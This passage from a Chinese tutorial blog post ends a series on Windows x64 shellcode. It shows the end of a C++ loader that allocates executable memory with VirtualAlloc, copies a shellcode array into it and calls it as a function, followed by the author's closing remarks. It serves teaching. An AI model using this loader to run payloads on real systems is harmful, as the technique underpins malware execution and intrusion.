        // Allocate executable memory
        void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
        if (exec_mem == nullptr) {
            std::cerr << "Memory allocation failed\n";
            return -1;
        }
    
        // Copy shellcode to the allocated memory
        memcpy(exec_mem, shellcode, sizeof(shellcode));
    
        // Create a function pointer to the shellcode
        auto shellcode_func = reinterpret_cast<void(*)()>(exec_mem);
    
        // Execute the shellcode
        shellcode_func();
    
        // Free the allocated memory
        VirtualFree(exec_mem, 0, MEM_RELEASE);
    
        return 0;
    }
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57

    运行它:

    各位,就这样啦!如果你们读到了这里,并且也阅读了这个系列的其他文章,那真是太棒了,干得好!如果你们想了解比这个系列中我所涵盖的更多内容,我很乐意听取你们的想法。

    感谢大家关注我的《Windows x64 ShellCode入门教程》系列。

    Windows x64 ShellCode入门教程程 06

    ← Windows x64 ShellCode入门教程程 06

    最近更新
    01
    C++语言面试问题集锦 目录与说明
    03-27
    02
    第二章 关键字static及其不同用法
    03-27
    03
    第一章 auto与类型推导
    03-27
    更多文章>
    Copyright © 2024-2025 沪ICP备2023015129号 张小方 版权所有
    • 跟随系统
    • 浅色模式
    • 深色模式
    • 阅读模式